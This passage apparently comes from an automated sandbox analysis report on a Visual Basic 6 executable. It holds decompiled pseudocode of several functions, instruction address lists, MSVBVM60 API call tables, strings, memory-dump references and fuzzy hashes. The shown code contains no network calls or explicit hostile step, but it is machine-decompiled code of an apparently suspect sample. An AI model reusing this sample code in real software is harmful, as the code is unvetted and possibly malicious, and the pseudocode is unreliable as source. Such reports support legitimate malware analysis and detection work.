					_v96 = _t150;
					_t154 =  *((intOrPtr*)( *_v96 + 0x1e0))(_v96,  &_v60, _t150,  *((intOrPtr*)( *((intOrPtr*)( *_v148)) + 0x310))( *_v148));
					asm("fclex");
					_v100 = _t154;
					if(_v100 >= 0) {
						_v152 = _v152 & 0x00000000;
					} else {
						_push(0x1e0);
						_push(0x4031c0);
						_push(_v96);
						_push(_v100);
						L004016CE();
						_v152 = _t154;
					}
					_v116 = _v60;
					_v60 = _v60 & 0x00000000;
					_v72 = _v116;
					_v80 = 8;
					_push(2);
					_push( &_v80);
					L0040164A();
					_v44 = _t194;
					L0040169E();
					L004016AA();
				}
				_t146 =  &_v80;
				_push(_t146);
				L004016EC();
				L004016F2();
				_v56 = 0xd789bb30;
				_v52 = 0x5b02;
				asm("wait");
				_push(0x42191b);
				L004016AA();
				return _t146;
			}

0x004215c8
0x004215cd
0x004215d8
0x004215d9
0x004215e5
0x004215ed
0x004215f0
0x004215fe
0x00421618
0x00421600
0x00421600
0x00421605
0x0042160a
0x0042160f
0x0042160f
0x0042161f
0x00421624
0x00421633
0x00421636
0x00421638
0x0042163f
0x00421658
0x00421641
0x00421641
0x00421643
0x00421648
0x0042164b
0x0042164e
0x00421653
0x00421653
0x0042165f
0x0042166e
0x00421674
0x00421676
0x0042167d
0x00421699
0x0042167f
0x0042167f
0x00421684
0x00421689
0x0042168c
0x0042168f
0x00421694
0x00421694
0x004216a1
0x004216a8
0x004216b4
0x004216ce
0x004216b6
0x004216b6
0x004216bb
0x004216c0
0x004216c5
0x004216c5
0x004216e9
0x004216ed
0x004216f2
0x004216fd
0x00421703
0x00421705
0x0042170c
0x0042172b
0x0042170e
0x0042170e
0x00421713
0x00421718
0x0042171b
0x0042171e
0x00421723
0x00421723
0x00421735
0x00421741
0x0042175e
0x00421743
0x00421743
0x00421748
0x0042174d
0x00421752
0x00421752
0x00421782
0x00421786
0x0042178b
0x0042179a
0x004217a0
0x004217a2
0x004217a9
0x004217c8
0x004217ab
0x004217ab
0x004217b0
0x004217b5
0x004217b8
0x004217bb
0x004217c0
0x004217c0
0x004217cf
0x004217d2
0x004217d7
0x004217da
0x004217ed
0x004217f4
0x004217ff
0x0042180c
0x00421829
0x0042180e
0x0042180e
0x00421813
0x00421818
0x0042181d
0x0042181d
0x0042184d
0x00421851
0x00421856
0x00421865
0x0042186b
0x0042186d
0x00421874
0x00421893
0x00421876
0x00421876
0x0042187b
0x00421880
0x00421883
0x00421886
0x0042188b
0x0042188b
0x0042189d
0x004218a0
0x004218a7
0x004218aa
0x004218b1
0x004218b6
0x004218b7
0x004218bc
0x004218c2
0x004218ca
0x004218ca
0x004218cf
0x004218d2
0x004218d3
0x004218de
0x004218e3
0x004218ea
0x004218f1
0x004218f2
0x00421915
0x0042191a

APIs

__vbaChkstk.MSVBVM60(?,004014D6), ref: 004215E5
__vbaNew2.MSVBVM60(0040319C,00423420,?,?,?,?,004014D6), ref: 0042160A
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040318C,00000014), ref: 0042164E
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403468,00000108), ref: 0042168F
__vbaFreeObj.MSVBVM60(00000000,?,00403468,00000108), ref: 004216A8
__vbaNew2.MSVBVM60(00401EF4,00423010), ref: 004216C0
__vbaObjSet.MSVBVM60(?,00000000), ref: 004216ED
__vbaHresultCheckObj.MSVBVM60(00000000,?,004031D0,00000208), ref: 0042171E
__vbaFreeObj.MSVBVM60(00000000,?,004031D0,00000208), ref: 00421735
__vbaNew2.MSVBVM60(00401EF4,00423010), ref: 0042174D
__vbaObjSet.MSVBVM60(?,00000000), ref: 00421786
__vbaHresultCheckObj.MSVBVM60(00000000,?,004031C0,000001C0), ref: 004217BB
__vbaSetSystemError.MSVBVM60(?), ref: 004217DA
__vbaFreeObj.MSVBVM60(?), ref: 004217F4
__vbaNew2.MSVBVM60(00401EF4,00423010,?), ref: 00421818
__vbaObjSet.MSVBVM60(?,00000000), ref: 00421851
__vbaHresultCheckObj.MSVBVM60(00000000,?,004031C0,000001E0), ref: 00421886
#600.MSVBVM60(00000008,00000002), ref: 004218B7
__vbaFreeObj.MSVBVM60(00000008,00000002), ref: 004218C2
__vbaFreeVar.MSVBVM60(00000008,00000002), ref: 004218CA
#546.MSVBVM60(?,?), ref: 004218D3
__vbaVarMove.MSVBVM60(?,?), ref: 004218DE
__vbaFreeVar.MSVBVM60(0042191B,?,?), ref: 00421915

Strings

4B, xrefs: 0042161F

Memory Dump Source

Source File: 00000000.00000002.288529169.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.288524685.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.288544180.0000000000423000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288548817.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$CheckHresult$New2$#546#600ChkstkErrorMoveSystem
String ID: 4B
API String ID: 893795968-3841215673
Opcode ID: 31d1a01948220e44bd1c94a7ffef2ff44a8bc33339f5de2e44948a09ac0b509f
Instruction ID: fe1061ffb16726e4287a44e484881eb3c924285401e18d9de60a67814ebef25f
Opcode Fuzzy Hash: 31d1a01948220e44bd1c94a7ffef2ff44a8bc33339f5de2e44948a09ac0b509f
Instruction Fuzzy Hash: AAA10570E00228AFCB10EFE1D849B9DBBB5BF18309F50446AE005BB2B5DB795945DF58

Uniqueness

Uniqueness Score: -1.00%

Function 004205A4, Relevance: 42.2, APIs: 21, Strings: 3, Instructions: 199
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E004205A4(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _v36;
				char _v40;
				char _v56;
				intOrPtr _v80;
				char _v88;
				intOrPtr _v96;
				intOrPtr _v104;
				signed int _v108;
				signed int _v112;
				signed int _v124;
				signed int _v128;
				intOrPtr* _v132;
				signed int _v136;
				intOrPtr* _v140;
				signed int _v144;
				signed int _t89;
				signed int _t92;
				signed int _t97;
				signed int _t101;
				signed int _t105;
				signed int _t108;
				signed int _t113;
				void* _t137;
				void* _t139;
				intOrPtr _t140;

				_t140 = _t139 - 0xc;
				 *[fs:0x0] = _t140;
				L004014D0();
				_v16 = _t140;
				_v12 = 0x401430;
				_v8 = 0;
				_t89 =  *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x78,  *[fs:0x0], 0x4014d6, _t137);
				L0040168C();
				_push(0);
				_push(0xffffffff);
				_push(0x4031bc);
				_push("ABC");
				L004016A4();
				if(_t89 != 3) {
					_t89 =  *((intOrPtr*)( *_a4 + 0x254))(_a4, 0x338c);
					asm("fclex");
					_v108 = _t89;
					if(_v108 >= 0) {
						_v124 = _v124 & 0x00000000;
					} else {
						_push(0x254);
						_push(0x402884);
						_push(_a4);
						_push(_v108);
						L004016CE();
						_v124 = _t89;
					}
				}
				_push(0x404140);
				L0040157E();
				_push(_t89);
				_t19 =  &_v56; // 0x404140
				L00401584();
				_v80 = 0x403570;
				_v88 = 0x8008;
				_t22 =  &_v56; // 0x404140
				_t92 =  &_v88;
				_push(_t92);
				L004015EA();
				_v108 = _t92;
				L004016AA();
				if(_v108 != 0) {
					_v96 = 0x80020004;
					_v104 = 0xa;
					_v80 = 0x80020004;
					_v88 = 0xa;
					L004014D0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					L004014D0();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t113 =  *((intOrPtr*)( *_a4 + 0x2b0))(_a4, 0x10, 0x10);
					asm("fclex");
					_v108 = _t113;
					if(_v108 >= 0) {
						_v128 = _v128 & 0x00000000;
					} else {
						_push(0x2b0);
						_push(0x402884);
						_push(_a4);
						_push(_v108);
						L004016CE();
						_v128 = _t113;
					}
				}
				if( *0x423010 != 0) {
					_v132 = 0x423010;
				} else {
					_push(0x423010);
					_push(0x401ef4);
					L004016C8();
					_v132 = 0x423010;
				}
				_t97 =  &_v40;
				L004016B6();
				_v108 = _t97;
				_v80 = 0x80020004;
				_v88 = 0xa;
				L004014D0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t101 =  *((intOrPtr*)( *_v108 + 0x1ec))(_v108, L"Recommence1", 0x10, _t97,  *((intOrPtr*)( *((intOrPtr*)( *_v132)) + 0x300))( *_v132));
				asm("fclex");
				_v112 = _t101;
				if(_v112 >= 0) {
					_v136 = _v136 & 0x00000000;
				} else {
					_push(0x1ec);
					_push(0x40316c);
					_push(_v108);
					_push(_v112);
					L004016CE();
					_v136 = _t101;
				}
				L0040169E();
				if( *0x423010 != 0) {
					_v140 = 0x423010;
				} else {
					_push(0x423010);
					_push(0x401ef4);
					L004016C8();
					_v140 = 0x423010;
				}
				_t105 =  &_v40;
				L004016B6();
				_v108 = _t105;
				_t108 =  *((intOrPtr*)( *_v108 + 0x20c))(_v108, _t105,  *((intOrPtr*)( *((intOrPtr*)( *_v140)) + 0x300))( *_v140));
				asm("fclex");
				_v112 = _t108;
				if(_v112 >= 0) {
					_v144 = _v144 & 0x00000000;
				} else {
					_push(0x20c);
					_push(0x40316c);
					_push(_v108);
					_push(_v112);
					L004016CE();
					_v144 = _t108;
				}
				L0040169E();
				_v32 = 0xd006ca30;
				_v28 = 0x5b05;
				_push(0x42087e);
				L004016D4();
				return _t108;
			}

0x004205a7
0x004205b6
0x004205c0
0x004205c8
0x004205cb
0x004205d2
0x004205e1
0x004205ea
0x004205ef
0x004205f1
0x004205f3
0x004205f8
0x004205fd
0x00420605
0x00420614
0x0042061a
0x0042061c
0x00420623
0x0042063f
0x00420625
0x00420625
0x0042062a
0x0042062f
0x00420632
0x00420635
0x0042063a
0x0042063a
0x00420623
0x00420643
0x00420648
0x0042064d
0x0042064e
0x00420652
0x00420657
0x0042065e
0x00420665
0x00420669
0x0042066c
0x0042066d
0x00420672
0x00420679
0x00420684
0x00420686
0x0042068d
0x00420694
0x0042069b
0x004206a5
0x004206af
0x004206b0
0x004206b1
0x004206b2
0x004206b6
0x004206c0
0x004206c1
0x004206c2
0x004206c3
0x004206cc
0x004206d2
0x004206d4
0x004206db
0x004206f7
0x004206dd
0x004206dd
0x004206e2
0x004206e7
0x004206ea
0x004206ed
0x004206f2
0x004206f2
0x004206db
0x00420702
0x0042071c
0x00420704
0x00420704
0x00420709
0x0042070e
0x00420713
0x00420713
0x00420737
0x0042073b
0x00420740
0x00420743
0x0042074a
0x00420754
0x0042075e
0x0042075f
0x00420760
0x00420761
0x0042076f
0x00420775
0x00420777
0x0042077e
0x0042079d
0x00420780
0x00420780
0x00420785
0x0042078a
0x0042078d
0x00420790
0x00420795
0x00420795
0x004207a7
0x004207b3
0x004207d0
0x004207b5
0x004207b5
0x004207ba
0x004207bf
0x004207c4
0x004207c4
0x004207f4
0x004207f8
0x004207fd
0x00420808
0x0042080e
0x00420810
0x00420817
0x00420836
0x00420819
0x00420819
0x0042081e
0x00420823
0x00420826
0x00420829
0x0042082e
0x0042082e
0x00420840
0x00420845
0x0042084c
0x00420853
0x00420878
0x0042087d

APIs

__vbaChkstk.MSVBVM60(?,004014D6), ref: 004205C0
__vbaStrCopy.MSVBVM60(?,?,?,?,004014D6), ref: 004205EA
#709.MSVBVM60(ABC,004031BC,000000FF,00000000,?,?,?,?,004014D6), ref: 004205FD
__vbaHresultCheckObj.MSVBVM60(00000000,00401430,00402884,00000254), ref: 00420635
__vbaI4Str.MSVBVM60(00404140,ABC,004031BC,000000FF,00000000,?,?,?,?,004014D6), ref: 00420648
#698.MSVBVM60(@A@,00000000,00404140,ABC,004031BC,000000FF,00000000,?,?,?,?,004014D6), ref: 00420652
__vbaVarTstNe.MSVBVM60(00008008,@A@), ref: 0042066D
__vbaFreeVar.MSVBVM60(00008008,@A@), ref: 00420679
__vbaChkstk.MSVBVM60(?,?,00008008,@A@), ref: 004206A5
__vbaChkstk.MSVBVM60(?,?,00008008,@A@), ref: 004206B6
__vbaHresultCheckObj.MSVBVM60(?,00401430,00402884,000002B0,?,?,00008008,@A@), ref: 004206ED
__vbaNew2.MSVBVM60(00401EF4,00423010,00008008,@A@), ref: 0042070E
__vbaObjSet.MSVBVM60(00000000,00000000,?,?,?,?,?,?,?,?,?,00008008,@A@), ref: 0042073B
__vbaChkstk.MSVBVM60(00000000,00000000,?,?,?,?,?,?,?,?,?,00008008,@A@), ref: 00420754
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040316C,000001EC,?,?,?,?,?,?,?,?,?,00008008,@A@), ref: 00420790
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,00008008,@A@), ref: 004207A7
__vbaNew2.MSVBVM60(00401EF4,00423010,?,?,?,?,?,?,?,?,?,00008008,@A@), ref: 004207BF
__vbaObjSet.MSVBVM60(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00008008,@A@), ref: 004207F8
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040316C,0000020C,?,?,?,?,?,?,?,?,?,?,?,00008008), ref: 00420829
__vbaFreeObj.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,00008008,@A@), ref: 00420840
__vbaFreeStr.MSVBVM60(0042087E,?,?,?,?,?,?,?,?,?,?,?,00008008,@A@), ref: 00420878

Strings

Recommence1, xrefs: 00420762
ABC, xrefs: 004205F8
@A@, xrefs: 0042064E, 00420665, 00420676, 00420651, 00420668

Memory Dump Source

Source File: 00000000.00000002.288529169.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.288524685.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.288544180.0000000000423000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288548817.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckChkstkFreeHresult$New2$#698#709Copy
String ID: @A@$ABC$Recommence1
API String ID: 3898125722-955005001
Opcode ID: fd872e09e25656d0f1b24d94db9789516691f816abb2cf912741da2faf2f7368
Instruction ID: 738ec149f18d45d48a052aa23ef9de164160218ac0ff2e5b05e38cb3edebc774
Opcode Fuzzy Hash: fd872e09e25656d0f1b24d94db9789516691f816abb2cf912741da2faf2f7368
Instruction Fuzzy Hash: 21812A70A00318AFDF10EF91D849B9DBBB5BF04304F60446AF505BB2A1CBB95A45DF58

Uniqueness

Uniqueness Score: -1.00%

Function 0041FE00, Relevance: 40.5, APIs: 22, Strings: 1, Instructions: 219
COMMON

Download Yara Rule

C-Code - Quality: 52%

			E0041FE00(void* __ebx, void* __ecx, void* __edi, void* __esi, long long __fp0) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr _v32;
				char _v44;
				long long _v56;
				char _v60;
				char _v64;
				char _v68;
				intOrPtr _v76;
				intOrPtr _v84;
				char _v88;
				signed int _v92;
				signed int _v96;
				intOrPtr* _v100;
				signed int _v104;
				intOrPtr* _v108;
				signed int _v112;
				char _v120;
				signed int _v124;
				intOrPtr* _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				intOrPtr* _v148;
				signed int _v152;
				signed int _t111;
				signed int _t116;
				signed int _t120;
				signed int _t124;
				signed int _t126;
				signed int _t127;
				char* _t132;
				signed int _t136;
				signed int _t140;
				intOrPtr _t148;
				intOrPtr _t160;
				void* _t168;
				long long _t171;
				signed int _t172;

				_t171 = __fp0;
				_push(0x4014d6);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t160;
				L004014D0();
				_v12 = _t160;
				_v8 = 0x401400;
				_push(5);
				_push(0x4040f0);
				_push( &_v44);
				L004015A8();
				if( *0x423420 != 0) {
					_v120 = 0x423420;
				} else {
					_push(0x423420);
					_push(0x40319c);
					L004016C8();
					_v120 = 0x423420;
				}
				_t6 =  &_v120; // 0x423420
				_v100 =  *((intOrPtr*)( *_t6));
				_t111 =  *((intOrPtr*)( *_v100 + 0x14))(_v100,  &_v68);
				asm("fclex");
				_v104 = _t111;
				if(_v104 >= 0) {
					_v124 = _v124 & 0x00000000;
				} else {
					_push(0x14);
					_push(0x40318c);
					_push(_v100);
					_push(_v104);
					L004016CE();
					_v124 = _t111;
				}
				_v108 = _v68;
				_v76 = 0x80020004;
				_v84 = 0xa;
				if( *0x423010 != 0) {
					_v128 = 0x423010;
				} else {
					_push(0x423010);
					_push(0x401ef4);
					L004016C8();
					_v128 = 0x423010;
				}
				_t116 =  &_v64;
				L004016B6();
				_v92 = _t116;
				_t120 =  *((intOrPtr*)( *_v92 + 0x238))(_v92,  &_v60, _t116,  *((intOrPtr*)( *((intOrPtr*)( *_v128)) + 0x30c))( *_v128));
				asm("fclex");
				_v96 = _t120;
				if(_v96 >= 0) {
					_v132 = _v132 & 0x00000000;
				} else {
					_push(0x238);
					_push(0x4031c0);
					_push(_v92);
					_push(_v96);
					L004016CE();
					_v132 = _t120;
				}
				L004014D0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t124 =  *((intOrPtr*)( *_v108 + 0x13c))(_v108, _v60, 0x10);
				asm("fclex");
				_v112 = _t124;
				if(_v112 >= 0) {
					_v136 = _v136 & 0x00000000;
				} else {
					_push(0x13c);
					_push(0x403468);
					_push(_v108);
					_push(_v112);
					L004016CE();
					_v136 = _t124;
				}
				L004016D4();
				_push( &_v68);
				_t126 =  &_v64;
				_push(_t126);
				_push(2);
				L004016B0();
				_v92 = _v92 & 0x00000000;
				if(_v92 >= 2) {
					L004015A2();
					_v140 = _t126;
				} else {
					_v140 = _v140 & 0x00000000;
				}
				_t127 = _v92;
				asm("fld1");
				 *((long long*)(_v32 + _t127 * 8)) = _t171;
				_v92 = 1;
				_t168 = _v92 - 2;
				if(_t168 >= 0) {
					L004015A2();
					_v144 = _t127;
				} else {
					_v144 = _v144 & 0x00000000;
				}
				_t148 = _v32;
				_t172 =  *0x4013a0;
				 *(_t148 + _v92 * 8) = _t172;
				_v88 =  &_v44;
				_push( &_v88);
				asm("fld1");
				_push(_t148);
				_push(_t148);
				_v92 = _t172;
				L0040159C();
				L0040160E();
				asm("fcomp qword [0x4013f8]");
				asm("fnstsw ax");
				asm("sahf");
				if(_t168 != 0) {
					if( *0x423010 != 0) {
						_v148 = 0x423010;
					} else {
						_push(0x423010);
						_push(0x401ef4);
						L004016C8();
						_v148 = 0x423010;
					}
					_t136 =  &_v64;
					L004016B6();
					_v92 = _t136;
					_t140 =  *((intOrPtr*)( *_v92 + 0x1b0))(_v92,  &_v60, _t136,  *((intOrPtr*)( *((intOrPtr*)( *_v148)) + 0x304))( *_v148));
					asm("fclex");
					_v96 = _t140;
					if(_v96 >= 0) {
						_v152 = _v152 & 0x00000000;
					} else {
						_push(0x1b0);
						_push(0x4031e0);
						_push(_v92);
						_push(_v96);
						L004016CE();
						_v152 = _t140;
					}
					_push(1);
					_push(_v60);
					L00401596();
					L004016D4();
					L0040169E();
				}
				_v56 =  *0x4013f0;
				asm("wait");
				_push(0x420116);
				_v88 =  &_v44;
				_t132 =  &_v88;
				_push(_t132);
				_push(0);
				L004015F0();
				return _t132;
			}

0x0041fe00
0x0041fe05
0x0041fe10
0x0041fe11
0x0041fe1d
0x0041fe25
0x0041fe28
0x0041fe2f
0x0041fe31
0x0041fe39
0x0041fe3a
0x0041fe46
0x0041fe60
0x0041fe48
0x0041fe48
0x0041fe4d
0x0041fe52
0x0041fe57
0x0041fe57
0x0041fe67
0x0041fe6c
0x0041fe7b
0x0041fe7e
0x0041fe80
0x0041fe87
0x0041fea0
0x0041fe89
0x0041fe89
0x0041fe8b
0x0041fe90
0x0041fe93
0x0041fe96
0x0041fe9b
0x0041fe9b
0x0041fea7
0x0041feaa
0x0041feb1
0x0041febf
0x0041fed9
0x0041fec1
0x0041fec1
0x0041fec6
0x0041fecb
0x0041fed0
0x0041fed0
0x0041fef4
0x0041fef8
0x0041fefd
0x0041ff0c
0x0041ff12
0x0041ff14
0x0041ff1b
0x0041ff37
0x0041ff1d
0x0041ff1d
0x0041ff22
0x0041ff27
0x0041ff2a
0x0041ff2d
0x0041ff32
0x0041ff32
0x0041ff3e
0x0041ff48
0x0041ff49
0x0041ff4a
0x0041ff4b
0x0041ff57
0x0041ff5d
0x0041ff5f
0x0041ff66
0x0041ff85
0x0041ff68
0x0041ff68
0x0041ff6d
0x0041ff72
0x0041ff75
0x0041ff78
0x0041ff7d
0x0041ff7d
0x0041ff8f
0x0041ff97
0x0041ff98
0x0041ff9b
0x0041ff9c
0x0041ff9e
0x0041ffa6
0x0041ffae
0x0041ffb9
0x0041ffbe
0x0041ffb0
0x0041ffb0
0x0041ffb0
0x0041ffc4
0x0041ffca
0x0041ffcc
0x0041ffcf
0x0041ffd6
0x0041ffda
0x0041ffe5
0x0041ffea
0x0041ffdc
0x0041ffdc
0x0041ffdc
0x0041fff3
0x0041fff6
0x0041fffc
0x00420002
0x00420008
0x00420009
0x0042000b
0x0042000c
0x0042000d
0x00420010
0x00420015
0x0042001a
0x00420020
0x00420022
0x00420023
0x00420030
0x0042004d
0x00420032
0x00420032
0x00420037
0x0042003c
0x00420041
0x00420041
0x00420071
0x00420075
0x0042007a
0x00420089
0x0042008f
0x00420091
0x00420098
0x004200b7
0x0042009a
0x0042009a
0x0042009f
0x004200a4
0x004200a7
0x004200aa
0x004200af
0x004200af
0x004200be
0x004200c0
0x004200c3
0x004200cb
0x004200d3
0x004200d3
0x004200de
0x004200e1
0x004200e2
0x00420107
0x0042010a
0x0042010d
0x0042010e
0x00420110
0x00420115

APIs

__vbaChkstk.MSVBVM60(?,004014D6), ref: 0041FE1D
__vbaAryConstruct2.MSVBVM60(?,004040F0,00000005,?,?,?,?,004014D6), ref: 0041FE3A
__vbaNew2.MSVBVM60(0040319C,00423420,?,004040F0,00000005,?,?,?,?,004014D6), ref: 0041FE52
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040318C,00000014), ref: 0041FE96
__vbaNew2.MSVBVM60(00401EF4,00423010), ref: 0041FECB
__vbaObjSet.MSVBVM60(?,00000000), ref: 0041FEF8
__vbaHresultCheckObj.MSVBVM60(00000000,?,004031C0,00000238), ref: 0041FF2D
__vbaChkstk.MSVBVM60(00000000,?,004031C0,00000238), ref: 0041FF3E
__vbaHresultCheckObj.MSVBVM60(00000000,?,00403468,0000013C), ref: 0041FF78
__vbaFreeStr.MSVBVM60(00000000,?,00403468,0000013C), ref: 0041FF8F
__vbaFreeObjList.MSVBVM60(00000002,?,?), ref: 0041FF9E
__vbaGenerateBoundsError.MSVBVM60 ref: 0041FFB9
__vbaGenerateBoundsError.MSVBVM60 ref: 0041FFE5
#684.MSVBVM60(?,?,?), ref: 00420010
__vbaFpR8.MSVBVM60(?,?,?), ref: 00420015
__vbaNew2.MSVBVM60(00401EF4,00423010,?,?,?), ref: 0042003C
__vbaObjSet.MSVBVM60(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00420075
__vbaHresultCheckObj.MSVBVM60(00000000,00000002,004031E0,000001B0,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004200AA
#580.MSVBVM60(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004200C3
__vbaFreeStr.MSVBVM60(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004200CB
__vbaFreeObj.MSVBVM60(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004200D3
__vbaAryDestruct.MSVBVM60(00000000,?,00420116,?,?,?), ref: 00420110

Strings

4B, xrefs: 0041FE67

Memory Dump Source

Source File: 00000000.00000002.288529169.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.288524685.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.288544180.0000000000423000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288548817.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$CheckFreeHresult$New2$BoundsChkstkErrorGenerate$#580#684Construct2DestructList
String ID: 4B
API String ID: 2818510709-3841215673
Opcode ID: 88f6bb2f335e9f1e4d9374dfcdfa86f0079ac0fd8a6b4fd2601744eb9d5bc0a9
Instruction ID: aca1f2df347c340fba81b88e63c78320cafac6ac5c31022d34eb7bc4dfe331ba
Opcode Fuzzy Hash: 88f6bb2f335e9f1e4d9374dfcdfa86f0079ac0fd8a6b4fd2601744eb9d5bc0a9
Instruction Fuzzy Hash: 33911670E00218EFDB10EFD1D845BDDBBB5BB08305F50446AE105BB2A6DB795985DF18

Uniqueness

Uniqueness Score: -1.00%

Function 00416502, Relevance: 34.8, APIs: 23, Instructions: 269
COMMON

Download Yara Rule

C-Code - Quality: 49%

			E00416502(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				intOrPtr _v28;
				char _v32;
				char _v36;
				signed int _v44;
				intOrPtr _v52;
				signed int _v60;
				intOrPtr _v68;
				signed int _v76;
				intOrPtr _v84;
				short _v88;
				intOrPtr* _v92;
				signed int _v96;
				intOrPtr* _v100;
				signed int _v104;
				intOrPtr* _v116;
				signed int _v120;
				intOrPtr* _v124;
				signed int _v128;
				intOrPtr* _v132;
				short _v136;
				signed int _v140;
				signed int _v144;
				intOrPtr* _v148;
				signed int _v152;
				char* _t115;
				signed int _t121;
				char* _t125;
				signed int _t129;
				char* _t133;
				signed int _t140;
				char* _t146;
				signed int _t150;
				intOrPtr _t154;
				intOrPtr _t161;
				void* _t182;
				void* _t184;
				intOrPtr* _t185;
				signed int _t195;

				_t185 = _t184 - 0xc;
				 *[fs:0x0] = _t185;
				L004014D0();
				_v16 = _t185;
				_v12 = 0x4012d8;
				_v8 = 0;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x4014d6, _t182);
				if( *0x423010 != 0) {
					_v116 = 0x423010;
				} else {
					_push(0x423010);
					_push(0x401ef4);
					L004016C8();
					_v116 = 0x423010;
				}
				_t154 =  *((intOrPtr*)( *_v116));
				_t115 =  &_v32;
				L004016B6();
				_v92 = _t115;
				_v76 = 0x80020004;
				_v84 = 0xa;
				_v60 = 0x80020004;
				_v68 = 0xa;
				_v44 = 0x80020004;
				_v52 = 0xa;
				L004014D0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				L004014D0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				L004014D0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t195 =  *0x4012d4;
				 *_t185 = _t195;
				_t121 =  *((intOrPtr*)( *_v92 + 0x178))(_v92, _t154, 0x10, 0x10, 0x10, _t115,  *((intOrPtr*)(_t154 + 0x318))( *_v116));
				asm("fclex");
				_v96 = _t121;
				if(_v96 >= 0) {
					_v120 = _v120 & 0x00000000;
				} else {
					_push(0x178);
					_push(0x4031f0);
					_push(_v92);
					_push(_v96);
					L004016CE();
					_v120 = _t121;
				}
				L0040169E();
				if( *0x423010 != 0) {
					_v124 = 0x423010;
				} else {
					_push(0x423010);
					_push(0x401ef4);
					L004016C8();
					_v124 = 0x423010;
				}
				_t125 =  &_v32;
				L004016B6();
				_v92 = _t125;
				_t129 =  *((intOrPtr*)( *_v92 + 0xd8))(_v92,  &_v88, _t125,  *((intOrPtr*)( *((intOrPtr*)( *_v124)) + 0x310))( *_v124));
				asm("fclex");
				_v96 = _t129;
				if(_v96 >= 0) {
					_v128 = _v128 & 0x00000000;
				} else {
					_push(0xd8);
					_push(0x4031c0);
					_push(_v92);
					_push(_v96);
					L004016CE();
					_v128 = _t129;
				}
				if( *0x423010 != 0) {
					_v132 = 0x423010;
				} else {
					_push(0x423010);
					_push(0x401ef4);
					L004016C8();
					_v132 = 0x423010;
				}
				_t161 =  *((intOrPtr*)( *_v132));
				_t133 =  &_v36;
				L004016B6();
				_v100 = _t133;
				_v76 = 0x80020004;
				_v84 = 0xa;
				_v60 = 0x80020004;
				_v68 = 0xa;
				_v44 = 0x80020004;
				_v52 = 0xa;
				L004014D0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				L004014D0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				L004014D0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v136 = _v88;
				asm("fild dword [ebp-0x84]");
				_v140 = _t195;
				_v96 = _v140;
				_t140 =  *((intOrPtr*)( *_v100 + 0x204))(_v100, _t161, 0x10, 0x10, 0x10, _t133,  *((intOrPtr*)(_t161 + 0x300))( *_v132));
				asm("fclex");
				_v104 = _t140;
				if(_v104 >= 0) {
					_v144 = _v144 & 0x00000000;
				} else {
					_push(0x204);
					_push(0x40316c);
					_push(_v100);
					_push(_v104);
					L004016CE();
					_v144 = _t140;
				}
				_push( &_v36);
				_push( &_v32);
				_push(2);
				L004016B0();
				if( *0x423010 != 0) {
					_v148 = 0x423010;
				} else {
					_push(0x423010);
					_push(0x401ef4);
					L004016C8();
					_v148 = 0x423010;
				}
				_t146 =  &_v32;
				L004016B6();
				_v92 = _t146;
				_v44 = _v44 & 0x00000000;
				_v52 = 2;
				L004014D0();
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_t150 =  *((intOrPtr*)( *_v92 + 0x228))(_v92, 0x10, _t146,  *((intOrPtr*)( *((intOrPtr*)( *_v148)) + 0x308))( *_v148));
				asm("fclex");
				_v96 = _t150;
				if(_v96 >= 0) {
					_v152 = _v152 & 0x00000000;
				} else {
					_push(0x228);
					_push(0x4031c0);
					_push(_v92);
